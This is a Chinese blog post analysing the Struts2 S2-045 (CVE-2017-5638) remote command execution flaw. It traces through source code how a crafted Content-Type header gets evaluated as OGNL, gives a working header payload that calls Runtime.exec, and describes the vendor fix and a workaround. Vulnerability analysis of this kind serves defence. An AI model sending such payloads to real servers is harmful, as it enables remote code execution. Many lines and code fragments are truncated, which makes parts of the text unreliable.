uts2远程命令执行漏洞 S2-045 源码分析

raintungli 于 2017-03-08 02:04:34 发布 阅读量9.3k 收藏 6 点赞数 3

分类专栏： 攻击与防护 JVM 源码分析 IP/TCP JVM 源码分析 文章标签： S2-045 Struts2 OGNL 远程执行命令

s2 又爆OGNL的高危漏洞S-045，又是OGNL的漏洞

分析

truts 的上传request

传文件里，Struts默认使用的是common upload 的上传组件， 为了能被action访问到上传的文件，通常会重新封装request，Spring也是这么做。

taStreamMultiPartRequest.java中

```
public void parse(HttpServletRequest request, String saveDir)
            throws IOException {
        try {
            setLocale(request);
            processUpload(request, saveDir);
        } catch (Exception e) {
            e.printStackTrace();
            String errorMessage = buildErrorMessage(e, new Object[]{});
            if (!errors.contains(errorMessage))
                errors.add(errorMessage);
        }
    }
```

斤上传协议抛出异常的时候，struts 会去尝试去构建错误信息

```
protected String buildErrorMessage(Throwable e, Object[] args) {
        String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
        if (LOG.isDebugEnabled()) {
            LOG.debug("Preparing error message for key: [#0]", errorKey);
        }
        return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
    }
```

呆证错误信息可以支持多语言，在构建上传错误的时候，使用了localizedTextUtil,

用struts.messages.upload.error. classname 作为资源的文件的key

妾使用了异常的message 作为查找的默认message

```
    public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args,
                                  ValueStack valueStack) {
        String indexedTextName = null;
  ......
        // get default
        GetDefaultMessageReturnArg result;
        if (indexedTextName == null) {
            result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
        } else {
            result = getDefaultMessage(aTextName, locale, valueStack, args, null);
            if (result != null && result.message != nul
                return result.message;
```

```
            }14                result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);
        }

        // could we find the text, if not log a warn
        if (unableToFindTextForKey(result) && LOG.isDebugEnabled()) {
            String warn = "Unable to find text for key '" + aTextName + "' ";
            if (indexedTextName != null) {
                warn += " or indexed key '" + indexedTextName + "' ";
            }
            warn += "in class '" + aClass.getName() + "' and locale '" + locale + "'";
            LOG.debug(warn);
        }

        return result != null ? result.message : null;
    }
```

尝试从default message里获取内容

```
/**
     * Gets the default message.
     */
    private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,
                                                                String defaultMessage) {
        GetDefaultMessageReturnArg result = null;
        boolean found = true;

        if (key != null) {
            String message = findDefaultText(key, locale);

            if (message == null) {
                message = defaultMessage;
                found = false; // not found in bundles
            }

            // defaultMessage may be null
            if (message != null) {
                MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

                String msg = formatWithNullDetection(mf, args);
                result = new GetDefaultMessageReturnArg(msg, found);
            }
        }

        return result;
    }
```

的key无法在资源文件中找到的时候，会直接使用默认的message 也就是刚才的异常的信息作为返回的信息，但是在将message格式化的时候，struts定义的TextParseUtil.translateVariables 转化message里的参数，熟悉OGNL的人都知道， **TextParseUtil.translateVariables 是支持OGNL的**

TextParseUtil.translateVariables

执行在message体中的${ognl}或者%{ognl}OGNL表达式格式

Common Upload file 的处理

在Struts里是可以直接执行异常里的错误信息，那么在common upload file 组件的异常里我们看看哪些是会把客户端传递的值作为错误信息返回

云，我们在FileUploadBase.java中，发现了一个方法

```
FileItemIteratorImpl(RequestContext ctx)
                throws FileUploadException, IOException {
            if (ctx == null) {
                throw new NullPointerException("ctx par
            }
```

```
            String contentType = ctx.getContentType();
                                                    8               if ((null == contentType)
                    || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) {
                throw new InvalidContentTypeException(
                        format("the request doesn't contain a %s or %s stream, content type header is %s",
                               MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));
            }
```

ıtent type不是以multipart/为头的时候，就会抛出异常，并且直接将客户端输入的信息，作为异常信息返回

自的content-type校验

s 在dispatch 里在封装request的时候做了一次content-type校验

```
    public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
        // don't wrap more than once
        if (request instanceof StrutsRequestWrapper) {
            return request;
        }

        String content_type = request.getContentType();
        if (content_type != null && content_type.contains("multipart/form-data")) {
            MultiPartRequest mpr = getMultiPartRequest();
            LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
            request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
        } else {
            request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
        }

        return request;
    }
```

竟然是contains, 而在upload file里做的校验是以multipart/为头，真不知道struts 为何在做标准协议解析的时候如此随便?

我们的poc

然是content-type入手

造 test multipart/form-data 绕过struts的dispatch的防御

续添加常见的OGNL的表达式

```
_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
```

的POC

```
tent-type:test multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; b
```

级struts

s 禁止了异常的信息可执行OGNL表达式，在2.3.32版本中

```
if (LocalizedTextUtil.findText(this.getClass(), errorK
            return LocalizedTextUtil.findText(this.getC
        } else {
```

```
        return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args);
    }
```

言息只是作为参数传递显示了

时解决方案

原文件中配置，让struts能从资源文件中获取到值

```
uts.messages.upload.error.InvalidContentTypeException=exception
```

这里要仔细检查common upload的代码，或者自己封装的MultiPartRequest，如果还有直接输出客户端的输入的时候，需要写全

```
nessages.upload.error.*
```

2安全漏洞修复
E-2017-5638（Struts2 S2-045）：这是一个严重影响的远程代码执行漏洞，它允许攻击者通过恶意构造的HTTP请求头来执行任意代码。该漏洞是由于OGNL（Object-Graph Na

s2漏洞?
5是其中一个著名的远程代码执行漏洞，它出现在Struts2的OGNL（Object-Graph Navigation Language）表达式解析中。OGNL是一种强大的表达式语言，用于在对象图中导航

s2安全漏洞实用
truts2安全漏洞概述**：介绍Struts2框架常见的安全问题，如CVE-2017-5638（S2-045）等高危漏洞。 2. **漏洞成因**：解释漏洞是如何产生的，例如通过不安全的OGNL表达式

struts2的安全漏洞(编号S2-045、S2-046)
struts2框架的系统提供一个完美的解决方案，里面的struts2版本jar都统一好，大家在用的时候直接将对应的jar先删除，然后用这里面的jar包。必免jar冲突了

he Struts2远程代码执行漏洞(S2-001)复现
e Struts2远程代码执行漏洞(S2-001)复现

s2远程代码执行漏洞复现
2远程代码执行漏洞介绍、原理和复现，以及怎么使用工具检测。

s2最全面的远程命令执行漏洞梳理
的全称是对象图导航语言（Object-Graph Navigation Language），它是一种用于获取和设置 Java对象属性的开源表达式语言，以及其他附加功能，是Struts2的默认表达式语言

s2远程代码执行
2漏洞是一个经典的漏洞系列，根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善，现在想挖掘新的Struts2漏洞会比以前困难很多，从

2 S2-045漏洞
e Struts 2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入

5漏洞分析 热门推荐
析写的我有点汗颜，强烈建议抵制struts2，改为更加可靠的SpringMVC。 背景是，Struts2默认处理multipart报文的解析器是jakarta，是这个组件出现了问题。 该组件定义在了

2命令执行漏洞s2-045修复
2命令执行漏洞s2-045是指Struts2框架中的一个安全漏洞，攻击者可以通过特殊构造的参数来执行任意命令。 修复Struts2命令执行漏洞s2-045需要采取以下步骤： 1. 升级Struts

raintungli 专家
码龄17年 暂无认证

1万+	171万+	94万+	
周排名	总排名	访问	等级
551	194	109	423
粉丝	获赞	评论	收藏

私信 关注

主文章

章

sh 的崩溃日志详细分析及注意点
08

习：神经网络中的前向传播和反向传
准导 44903

TCP connection timeout的原因查找
33

的backlog详解 39367

码系列: java 中的connection reset
理分析 34531